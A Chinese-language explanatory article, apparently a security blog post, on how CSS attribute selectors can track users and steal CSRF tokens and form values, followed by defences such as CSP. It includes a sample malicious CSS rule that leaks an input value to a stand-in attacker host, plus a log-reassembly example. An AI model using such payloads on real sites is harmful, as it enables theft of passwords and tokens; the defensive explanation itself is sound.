CSS代码可能被用来收集敏感用户数据
字数 1546 2025-08-18 11:37:02

CSS数据窃取技术详解与防御措施

1. CSS作为攻击媒介的概述

CSS(层叠样式表)不仅是网页展现的强大工具,近年来也被发现可用于追踪用户和窃取敏感数据。研究表明,CSS能够:

  • 追踪网站用户行为
  • 从网页中提取和窃取数据
  • 收集表单域中输入的数据(包括密码)
  • 暴露暗网用户身份

2. 主要攻击技术

2.1 无JavaScript的用户追踪(Crooked Style Sheets)

Jan Böhmer的"Crooked Style Sheets"项目展示了纯CSS的追踪方案,可以:

  • 跟踪鼠标悬停事件
  • 记录链接点击行为
  • 监控输入字段的文本输入
  • 收集真实的用户代理信息(绕过虚假UA设置)

2.2 CSS窃取CSRF token技术

Dylan Ayrey的研究展示了如何滥用CSS窃取CSRF token:

  • 适用条件:网站将CSRF token存储在HTML元素属性中
  • 技术原理:使用CSS属性选择器逐个字符猜解token
  • 特点
    • 攻击耗时约10秒
    • 不需要iframe
    • 不需要持续流量的远程服务器

2.3 CSS属性选择器的高级利用(CSS Exfil)

Mike Gualtieri扩展了该技术,使其能够:

  • 窃取表单域中的敏感数据(包括密码)
  • 猜解HTML标签内的任何敏感内容

3. 技术实现细节

3.1 CSS属性选择器类型

攻击主要利用以下CSS属性选择器:

选择器类型 示例 功能描述
[attribute=value] [foo="bar"] 精确匹配属性值
[attribute~=value] [foo~="bar"] 匹配包含指定单词的属性值
[attribute|=value] [foo|="bar"] 匹配以指定值开头或后跟连字符的属性值
[attribute^=value] [foo^="bar"] 匹配以指定值开头的属性值
[attribute$=value] [foo$="bar"] 匹配以指定值结尾的属性值
[attribute*=value] [foo*="bar"] 匹配包含指定子串的属性值

3.2 攻击实施流程

  1. 构造恶意CSS
#username[value="ZeroC00L"] {
  background:url("https://attacker.host/ZeroC00L");
}
  1. 服务器端监控
  • 攻击者监控服务器404错误日志
  • 成功的匹配会触发资源请求
  1. 数据重组
    从日志中提取请求片段并重组:
Z # Z_Ze # ZeZer # erZero # roZeroC # oCZeroC0 # C0ZeroC00 # 00ZeroC00L # 0L _L

3.3 两种主要攻击方法

  1. Ayrey方法

    • 一次猜测最后一个字符
    • 噪音较大但易于自动化
  2. Gualtieri方法(CSS Exfil)

    • 通过多个猜测重建字符串
    • 速度更快但有时需要人工拼接
    • 限制:只能窃取初始页面加载时的HTML属性

4. 防御措施

4.1 网站开发者防护

  1. 实施内容安全策略(CSP)

    • 防止从外部加载CSS代码
    • 限制非授权资源的加载
  2. 安全存储CSRF token

    • 避免将token直接存储在HTML元素属性中
    • 使用更安全的用户验证方式

4.2 用户防护

  1. 浏览器扩展

    • 安装专门的防护扩展(如Gualtieri开发的)
    • 功能:检测并重写恶意CSS代码
  2. 测试工具

    • 使用专门网页测试CSS Exfil漏洞

5. 历史背景

该技术并非全新,早在2016年CureSec就讨论过类似概念,但近期多位研究人员的关注使其重新成为热点。

6. 总结

CSS作为一种看似无害的样式语言,可以被恶意利用进行数据窃取。了解这些技术有助于开发者和用户更好地保护敏感信息。关键防御点包括实施严格的CSP策略、安全存储token,以及使用专门的防护工具。

CSS数据窃取技术详解与防御措施 1. CSS作为攻击媒介的概述 CSS(层叠样式表)不仅是网页展现的强大工具,近年来也被发现可用于追踪用户和窃取敏感数据。研究表明,CSS能够: 追踪网站用户行为 从网页中提取和窃取数据 收集表单域中输入的数据(包括密码) 暴露暗网用户身份 2. 主要攻击技术 2.1 无JavaScript的用户追踪(Crooked Style Sheets) Jan Böhmer的"Crooked Style Sheets"项目展示了纯CSS的追踪方案,可以: 跟踪鼠标悬停事件 记录链接点击行为 监控输入字段的文本输入 收集真实的用户代理信息(绕过虚假UA设置) 2.2 CSS窃取CSRF token技术 Dylan Ayrey的研究展示了如何滥用CSS窃取CSRF token: 适用条件 :网站将CSRF token存储在HTML元素属性中 技术原理 :使用CSS属性选择器逐个字符猜解token 特点 : 攻击耗时约10秒 不需要iframe 不需要持续流量的远程服务器 2.3 CSS属性选择器的高级利用(CSS Exfil) Mike Gualtieri扩展了该技术,使其能够: 窃取表单域中的敏感数据(包括密码) 猜解HTML标签内的任何敏感内容 3. 技术实现细节 3.1 CSS属性选择器类型 攻击主要利用以下CSS属性选择器: | 选择器类型 | 示例 | 功能描述 | |------------|------|----------| | [attribute=value] | [foo="bar"] | 精确匹配属性值 | | [attribute~=value] | [foo~="bar"] | 匹配包含指定单词的属性值 | | [attribute\|=value] | [foo\|="bar"] | 匹配以指定值开头或后跟连字符的属性值 | | [attribute^=value] | [foo^="bar"] | 匹配以指定值开头的属性值 | | [attribute$=value] | [foo$="bar"] | 匹配以指定值结尾的属性值 | | [attribute*=value] | [foo*="bar"] | 匹配包含指定子串的属性值 | 3.2 攻击实施流程 构造恶意CSS : 服务器端监控 : 攻击者监控服务器404错误日志 成功的匹配会触发资源请求 数据重组 : 从日志中提取请求片段并重组: 3.3 两种主要攻击方法 Ayrey方法 : 一次猜测最后一个字符 噪音较大但易于自动化 Gualtieri方法(CSS Exfil) : 通过多个猜测重建字符串 速度更快但有时需要人工拼接 限制:只能窃取初始页面加载时的HTML属性 4. 防御措施 4.1 网站开发者防护 实施内容安全策略(CSP) : 防止从外部加载CSS代码 限制非授权资源的加载 安全存储CSRF token : 避免将token直接存储在HTML元素属性中 使用更安全的用户验证方式 4.2 用户防护 浏览器扩展 : 安装专门的防护扩展(如Gualtieri开发的) 功能:检测并重写恶意CSS代码 测试工具 : 使用专门网页测试CSS Exfil漏洞 5. 历史背景 该技术并非全新,早在2016年CureSec就讨论过类似概念,但近期多位研究人员的关注使其重新成为热点。 6. 总结 CSS作为一种看似无害的样式语言,可以被恶意利用进行数据窃取。了解这些技术有助于开发者和用户更好地保护敏感信息。关键防御点包括实施严格的CSP策略、安全存储token,以及使用专门的防护工具。